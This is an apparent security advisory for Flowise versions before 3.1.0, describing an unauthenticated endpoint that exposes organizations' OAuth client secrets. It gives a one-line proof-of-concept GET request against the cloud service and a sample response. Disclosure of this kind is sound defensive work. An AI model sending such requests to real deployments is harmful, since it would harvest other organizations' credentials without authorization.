Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request
Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.
PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.
Request
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/jsonResponse: The server returns 200 OK with sensitive credentials:
{
"providers": [
{
"id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "azure",
"config": {
"tenantID": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "google",
"config": {
"clientID": "123455",
"clientSecret": "123455"
},
"status": "enable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "auth0",
"config": {
"domain": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "github",
"config": {
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
}
],
"callbacks": [
{
"providerName": "azure",
"callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
},
{
"providerName": "google",
"callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
},
{
"providerName": "auth0",
"callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
},
{
"providerName": "github",
"callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
}
]
}Affected Deployments
- FlowiseAI Cloud (cloud.flowiseai.com)
- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed
Impact
An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | flowise | < 3.1.0 | 3.1.0 |
References
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-306, CWE-312- Platform
- npm
- Package
flowise- Disclosed
- 16.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6pcv-j4jx-m4vx - CC BY 4.0
Vulnerability history: flowise
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 114
- First → latest
- 04.2024 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 28
- High 62
- Medium 24
Disclosures per year
- 2024: 11
- 2025: 22
- 2026: 81
-
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